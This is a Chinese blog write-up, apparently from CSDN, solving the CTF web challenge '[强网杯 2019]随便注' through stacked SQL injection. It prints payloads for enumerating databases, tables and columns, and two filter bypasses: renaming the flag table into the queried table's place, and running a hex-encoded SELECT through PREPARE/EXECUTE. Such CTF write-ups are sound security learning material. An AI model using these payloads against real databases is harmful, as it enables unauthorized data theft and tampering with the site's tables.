web:[强网杯 2019]随便注

本文详细描述了一次堆叠注入的实战过程,包括识别SQL注入点、构造payload尝试不同攻击方法(如union注入、数据库查询),以及如何通过修改表名和编码绕过select过滤,最终获取flag。
摘要由CSDN通过智能技术生成

背景知识

堆叠注入

sql注入

题目

点开页面发现有一个输入框,输入1点击查询后发现

查看源代码后发现

联系源代码中的提示和题目名,想到这道题与sql注入有关

尝试一下是否存在sql注入

构造payload

1' or 1=1 #

测试字段数

构造payload

1' order by 3 #

到3时报错,说明字段数为2

尝试union注入

构造payload

1' union select 1,2#

回显过滤了关键字

使用show database爆出数据库

构造payload

1'; show databases; #

尝试爆表

构造payload

1';show tables; #

如图所示有四个表,逐一尝试爆表的内容

构造payload

1'; show columns from words; #

没找到有用的信息

爆数字的表

构造payload

1'; show columns from`1919810931114514`;#

页面显示如下,发现有flag,查看flag文件

查询语句为select id,data from words where id =,但是select被过滤了

这里想不到其他办法了,只能借鉴其他大佬的wp作为参考思路

方法一:改表名

1.通过rename把words表名改为其他表名

2.把1919810931114514表的名字改为words

3.给新words表添加新的列名id

4.将flag改名为data

构造payload

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

得到flag

方法二:编码

因为select被过滤了,将select * from `1919810931114514`进行16进制编码

构造payload

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

总结

1.表名为数字时,需要用反引号抱起来查询

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

2.堆叠注入的绕过姿势

修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;

修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

或者

rename命令用于修改表名。

rename命令格式:rename table 原表名 to 新表名;

1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

参考学习文章链接:

[强网杯 2019]随便注_今天小白努力学习了吗的博客-CSDN博客

BUUCTF -web- [强网杯 2019]随便注_buuctf强网_0e1G7的博客-CSDN博客

BUUCTF[强网杯 2019]随便注 的三种解法_天问_Herbert555的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值